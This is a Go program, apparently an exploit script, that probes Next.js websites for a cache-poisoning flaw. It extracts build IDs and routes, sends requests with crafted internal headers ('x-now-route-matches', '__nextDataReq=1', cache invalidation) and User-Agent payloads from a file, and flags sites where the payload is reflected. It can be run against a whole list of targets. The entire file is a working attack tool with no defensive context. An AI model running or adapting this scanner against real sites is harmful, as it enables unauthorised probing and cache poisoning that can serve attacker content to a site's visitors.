package main import ( "bufio" "encoding/json" "flag" "fmt" "io" "net/http" "os" "regexp" "strings" "time" ) type NextJSData struct { Pages []string `json:"pages"` } func extractBuildID(target string) (string, error) { resp, err := http.Get(target) if err != nil { return "", err } defer resp.Body.Close() body, err := io.ReadAll(resp.Body) if err != nil { return "", err } re := regexp.MustCompile(`"buildId":"([^"]+)"`) match := re.FindStringSubmatch(string(body)) if len(match) < 2 { return "", fmt.Errorf("build ID not found") } return match[1], nil } func getNextJSRoutes(target, buildID string) ([]string, error) { apiURL := fmt.Sprintf("%s/_next/data/%s/index.json", target, buildID) resp, err := http.Get(apiURL) if err != nil { return nil, err } defer resp.Body.Close() var data NextJSData if err := json.NewDecoder(resp.Body).Decode(&data); err != nil { return nil, err } return data.Pages, nil } func checkEndpoint(target, endpoint string) bool { url := fmt.Sprintf("%s%s?__nextDataReq=1", target, endpoint) resp, err := http.Get(url) if err != nil { return false } defer resp.Body.Close() return resp.StatusCode != 404 } func checkVulnerability(target, endpoint string, payloads []string, delay int) { client := &http.Client{} for _, payload := range payloads { url := fmt.Sprintf("%s%s?__nextDataReq=1", target, endpoint) req, _ := http.NewRequest("GET", url, nil) req.Header.Set("x-now-route-matches", "1") req.Header.Set("User-Agent", payload) req.Header.Set("X-Nextjs-Cache", "INVALIDATE") resp, err := client.Do(req) if err != nil { fmt.Printf("Error checking %s: %v\n", url, err) continue } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) if strings.Contains(string(body), payload) { fmt.Printf("[VULNERABLE] %s (Payload Reflected: %s)\n", url, payload) return } else { fmt.Printf("[NOT VULNERABLE] %s\n", url) } time.Sleep(time.Duration(delay) * time.Second) } } func readLines(filePath string) ([]string, error) { file, err := os.Open(filePath) if err != nil { return nil, err } defer file.Close() var lines []string scanner := bufio.NewScanner(file) for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) if line != "" { lines = append(lines, line) } } if err := scanner.Err(); err != nil { return nil, err } return lines, nil } func processTarget(target string, endpoint string, payloads []string, delay int) { fmt.Println("Scanning:", target) buildID, err := extractBuildID(target) if err != nil { fmt.Println("Failed to retrieve build ID.") } else { pages, err := getNextJSRoutes(target, buildID) if err == nil && len(pages) > 0 { fmt.Println("Found Next.js pages:", pages) endpoint = pages[0] } else { fmt.Println("No Next.js pages found, using default endpoint:", endpoint) } } if !checkEndpoint(target, endpoint) { fmt.Printf("Error: %s does not exist on %s\n", endpoint, target) return } checkVulnerability(target, endpoint, payloads, delay) } func main() { target := flag.String("t", "", "Single target URL (e.g., https://target.com)") targetsFile := flag.String("l", "", "Path to file containing target URLs") payloadsFile := flag.String("p", "", "Path to User-Agent payloads file") delay := flag.Int("d", 5, "Delay between requests in seconds") endpoint := flag.String("e", "/index", "Custom endpoint to test (default: /index)") flag.Parse() if (*target == "" && *targetsFile == "") || *payloadsFile == "" { fmt.Println("Usage: go run exploit.go -t -p -d [-e ] OR") fmt.Println(" go run exploit.go -l -p -d [-e ]") os.Exit(1) } payloads, err := readLines(*payloadsFile) if err != nil { fmt.Println("Failed to read payloads file:", err) return } if *target != "" { processTarget(*target, *endpoint, payloads, *delay) } else { targets, err := readLines(*targetsFile) if err != nil { fmt.Println("Failed to read targets file:", err) return } for _, tgt := range targets { processTarget(tgt, *endpoint, payloads, *delay) } } }